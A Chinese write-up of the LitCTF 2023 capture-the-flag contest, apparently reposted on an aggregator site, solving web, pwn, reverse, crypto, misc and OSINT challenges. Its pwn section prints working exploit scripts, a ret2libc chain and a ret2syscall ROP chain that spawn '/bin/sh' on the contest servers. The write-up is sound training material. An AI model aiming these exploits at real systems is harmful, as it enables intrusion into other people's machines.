LitCTF 2023 WriteUp(部分)

news/2024/10/23 20:24:41/

Index

  • 前言
  • 题目
  • Web
    • 我Flag呢?
  • Pwn
    • 只需要nc一下~
    • 口算题卡
      • 题目分析
      • EXP:
    • 狠狠的溢出涅~
      • 题目分析
      • EXP:
    • ezlogin
      • 题目分析
      • EXP:
    • Reverse
      • 世界上最棒的程序员
    • ez_XOR
      • EXP:
  • Crypto
    • Hex?Hex!(初级)
    • 梦想是红色的
    • 原来你也玩原神
  • Misc
    • 签到!(初级)
    • What_1s_BASE (初级)
    • Take me hand (初级)
    • 404notfound (初级)
    • 喜欢我的压缩包么 (初级)
    • 这羽毛球怎么只有一半啊(恼 (初级)
    • 破损的图片(初级)
    • Osint小麦果汁
    • OSINT 探姬去哪了?_1
    • OSINT 探姬去哪了?_2
    • OSINT 探姬去哪了?_0

前言

迄今为止做出来题目最多的比赛,不过嘛新生赛,加油。
在这里插入图片描述

题目

Web

Web不是我擅长的分区,我就做出来了签到题,其他是我队友做的。

我Flag呢?

在这里插入图片描述

Pwn

刚开始只有3题Pwn,后来加了一题压轴题,当时没做出来,赛后研究了几天整出来了。

只需要nc一下~

在这里插入图片描述
并非直接cat flag那种难度,需要稍微看一看。
在这里插入图片描述
发现把Flag写入了环境变量中,使用env或者echo $FLAG都可以查看。
在这里插入图片描述

口算题卡

在这里插入图片描述

题目分析

按照描述,就是做完100道加减法题目后就可以得到Flag,实际上确实如此,这里没有耍任何把戏。
可以硬着头皮算,也可以用Pwntools等。
我选择Pwntools:

EXP:

from PwnModules import *io = remote('node4.anna.nssctf.cn',28265)
context(arch='amd64', os='linux', log_level='debug')while 1:try:io.recvuntil(b'What is ')line = io.recvline().strip(b'\n').strip(b'?').decode()expression = lineresult = eval(expression)io.sendline(str(result))except:io.close()continue
io.interactive()

在这里插入图片描述
exp的原理其实很简单,使用recv函数接收算式,使用strip函数去除接收到的信息中的换行符以及问号,然后丢入eval函数就会得出结果。发送回去即可。

狠狠的溢出涅~

基础的ret2libc题目。
题目提供了libc,甚至用不到LibcSearcher。
在这里插入图片描述

题目分析

main函数存在栈溢出漏洞,但是程序使用了strlen防止用户进行栈溢出。
我们只需要使用\x00绕过strlen函数即可。

EXP:

from PwnModules import *#io = process('./pwn4')
io = remote('node4.anna.nssctf.cn', 28413)
elf = ELF('./pwn41')
libc = ELF('/home/kaguya/PwnExp/libc-2.31.so')
context(arch='amd64', os='linux', log_level='debug')Padding = b'\x00' + b'A' * (0x60 - 0x01 + 0x08)rdi = 0x4007D3
ret = 0x400556
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']Payload = Padding + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
io.sendline(Payload)
io.recvuntil(b'Ok,Message Received\n')addr = leak_addr(2, io)
print(hex(addr))
base = addr - libc.sym['puts']
system = base + libc.sym['system']
binsh = base + next(libc.search(b'/bin/sh\x00'))Payload = Padding + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
io.sendline(Payload)
io.interactive()

ezlogin

压轴来喽~
很抽象的一道题,静态链接并且去除了符号表。

题目分析

首先我们进行符号恢复。
从start函数着手:
在这里插入图片描述
先不管其他杂七杂八的函数,一个个点进去,可以发现sub_4005C0应该是main函数。在这里插入图片描述
这里我已经修改了函数名字,原先的vul并不是vul。而sub_411ED0猜测就是setbuf了。
进入vul函数中,还原后的函数如下:
在这里插入图片描述
strcpy函数是通过动态调试调试出来的。
参考:M1sery师傅的WP
关于如何绕过read的限制图中已经写了,重点是如何绕过strcpy的遇到\x00截断。
这里需要写一个特殊的函数:

def gadget(content):content = content + b'\x00'content = content[-1::-1]for i in range(0, len(content)):if content[i] == 0:payload = content[i+1:][-1::-1].replace(b'\x00', b'A')padding = b'A' * 0x108log.success('Payload: ' + (str(payload)))io.sendafter(b'password:', padding + payload)

简要分析的话作用是替换Payload中的\x00为A,复杂点实际上就是遇到\x00就反转Payload,替换\x00为A,然后配合固定的Padding:0x108(main函数中的a1大小)+处理后的Payload。
解决了strcpy的问题,接下来是构建ret2syscall的ROP链。
由于是静态链接,因此gadget量大管饱。

EXP:

from PwnModules import *io = process('./pwn4')
# io = remote('node5.anna.nssctf.cn',28672)
elf = ELF('./pwn4')
libc = ELF('/home/kaguya/PwnTool/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
context(arch='amd64', os='linux', log_level='debug')# Max Padding size : 0x100 - 0x150
# Define registers
rax = 0x4005AF
rdi = 0x400706
rsi = 0x410043
rdx = 0x448C95
syscall = 0x448D5F
bss = 0x6BB300
main = 0x4005C0# Create func use to replace '\x00'
def gadget(content):content = content + b'\x00'content = content[-1::-1]for i in range(0, len(content)):if content[i] == 0:payload = content[i+1:][-1::-1].replace(b'\x00', b'A')padding = b'A' * 0x108log.success('Payload: ' + (str(payload)))io.sendafter(b'password:', padding + payload)# Stage one
# read(0, 0, bss)
# rax 系统调用号 0代表 read
# rdi 第一参数
# 0 fd
# rsi 第二参数
# bss /bin/sh 地址
# 此处无法填写rdx的寄存器与值,因为如果填写了会导致Payload溢出,a1寄存器为58,就会进入exit函数。
# 但是程序在此时的rdx值够存放很多数据,所以存放一个/bin/sh不是什么难事。
Payload = p64(rax) + p64(0) + p64(rdi) + p64(0) + p64(rsi) + p64(bss) + p64(syscall) + p64(main)
gadget(Payload)
Payload = b'PASSWORD\x00'
io.sendafter(b'password:', Payload)
io.send(b'/bin/sh\x00')# Stage two
# execve('/bin/sh\x00', 0, 0)
# rax 系统调用号 59代表 execve
# rdi 第一参数
# bss /bin/sh 地址
# rsi 第二参数
# 0 NULL
# rdx 第三参数
# 0 NULL
Payload = p64(rax) + p64(59) + p64(rdi) + p64(bss) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(syscall)
gadget(Payload)
Payload = b'PASSWORD\x00'
io.sendafter(b'password:', Payload)
io.interactive()

在这里插入图片描述

Reverse

世界上最棒的程序员

在这里插入图片描述
start函数中直接写了

ez_XOR

ChatGPT yyds!
输入函数和工作逻辑让ChatGPT写的

EXP:

def XOR(Str, a2):result = len(Str)for i in range(result):Str[i] = chr(ord(Str[i]) ^ (3 * a2))return StrStr1 = "E`}J]OrQF[V8zV:hzpV}fVF[t"  # 请根据实际情况修改Str1的内容Str1 = list(Str1)  # 将Str1转换为列表,以便进行原位修改
XOR(Str1, 3)Decrypted_Str1 = ''.join(Str1)
print("Decrypted Str1:", Decrypted_Str1)

输入str2,也就是E`}J]OrQF[V8zV:hzpV}fVF[t即可得到flag。

Crypto

Hex?Hex!(初级)

在这里插入图片描述
一眼hex转ascii
cyberchef直接出Flag
在这里插入图片描述

梦想是红色的

在这里插入图片描述
一眼社会主义核心价值观加密
在这里插入图片描述

原来你也玩原神

在这里插入图片描述
在这里插入图片描述
一个一个对照,就有Flag了。

Misc

签到!(初级)

关注长亭珂兰寺公众号,发送签到即可获取flag。

What_1s_BASE (初级)

在这里插入图片描述
base64,cyberchef。
在这里插入图片描述

Take me hand (初级)

流量分析,找到这两个包即可。
在这里插入图片描述
在这里插入图片描述

404notfound (初级)

在这里插入图片描述
一眼图片隐写
直接打开010在这里插入图片描述

喜欢我的压缩包么 (初级)

压缩包加密了,先猜一手123456。错误的
盲猜一手114514,对了。在这里插入图片描述
其实可以使用工具Passware Kit梭哈。

这羽毛球怎么只有一半啊(恼 (初级)

是misc中常见的修改图片长宽高
在这里插入图片描述
修改05 DC为DC DC即可。
在这里插入图片描述
说实话这题我是乱蒙的长宽高,乐。

破损的图片(初级)

在这里插入图片描述
在这里插入图片描述
对比发现缺少文件头,复制粘贴即可解决。
再随便改个后缀,就能打开了。
在这里插入图片描述

Osint小麦果汁

在这里插入图片描述
根据图中的Wifi查找即可查找到Flag。在这里插入图片描述
搜索到相关的,然后确定就是这个。
NSSCTF{黑客与精酿}

OSINT 探姬去哪了?_1

根据图中关键信息百度查找。
在这里插入图片描述
在这里插入图片描述
关键信息:SANGEL 酒店 xx路店
最终发现结果是:松果酒店(郑州农业路店)

OSINT 探姬去哪了?_2

在这里插入图片描述
根据图内关键信息:Hackingclub查询。
在这里插入图片描述
在这里插入图片描述
查找地图发现是:漫香音乐酒吧(农科路店)

OSINT 探姬去哪了?_0

使用exiftool查看本图片:
在这里插入图片描述

在这里插入图片描述
根据经纬度查找。结果是
在这里插入图片描述


http://www.ppmy.cn/news/69251.html

相关文章

ElasticSearch删除索引【真实案例】

文章目录 背景分析解决遇到的问题 - 删除超时报错信息解决办法1:调大超时时间解决办法2:调大ES堆内存参考背景 项目中使用了ELK技术栈实现了日志管理,但是日志管理功能目前并没有在生产上实际使用。 但ELK程序依然在运行,导致系统磁盘发生告警,剩余可用磁盘不足10%。 所以…

未来三至五年内,GPT 能把一个十个人的编程开发团队精简到几个人吗?

GPT 的智能发展虽然强大,但是它是否能够在未来三至五年内把一个十个人的编程开发团队精简到几个人,这取决于许多因素,如市场需求、技术进步、公司战略等等。 如果一个公司决定引入 GPT 作为开发团队的一部分,那么这可能会对团队的…

如何运行Spring Boot应用

19. 运行应用程序 将应用打包成jar并使用一个内嵌HTTP服务器的一个最大好处是,你可以像其他方式那样运行你的应用程序。调试Spring Boot应用也很简单;你不需要任何特殊IDE或扩展。 注:本章节只覆盖基于jar的打包,如果选择将应用…

微店API分享:获取店铺所有商品接口 参数说明(含请求示例)

随着微信的普及,越来越多的商家开始希望利用微信等社交媒体搭建自己的小店铺,以便更好地推广商品并增加销售额。微店API也应运而生,利用API可以获取微店的商品数据,进行数据整合分享。 店铺所有商品API接口是指商家可以利用这个接…

2023,谁还在花钱减肥?

【潮汐商业评论/原创】 “这是益生菌、酵素、0蔗糖酸奶,促进肠胃蠕动的;这是蒟蒻果冻、魔芋零食,嘴馋占嘴用的;这是全麦面包,饱腹感强,不易发胖;这是我刚办的健身卡;这是……”Lily…

数模之Apriori关联算法

一、问题 中医证型的关联规则挖掘 背景: 中医药治疗乳腺癌有着广泛的适应证和独特的优势。从整体出发,调整机体气血、阴阳、脏腑功能的平衡,根据不同的临床证候进行辨证论治。确定“先证而治”的方向:即后续证侯尚未出现之前&am…

WebRTC offer - answer交换sdp流程分析

转载学习&#xff1a; 两端开启音视频通讯时&#xff0c;一方做为offer主动发出邀请&#xff0c;另一方做为answer被动等待offer的邀请做出反应。 代码中的流程&#xff1a; Offer: offerForConstraints&#xff0c;得到sdp后回调 <第1.1步>。 1.1. didCreateSessionD…

抖音SEO矩阵系统源码开发搭建(一)

抖音SEI矩阵系统源码开发&#xff0c;需要遵循一下步骤&#xff1a; 1. 确定需求和功能&#xff1a;明确系统的主要目标和需要实现的功能&#xff0c;包括关键词研究、短视频制作、外链建设、数据分析、账号设置优化等方面。 2. 设计系统架构&#xff1a;根据需求和功能确定系…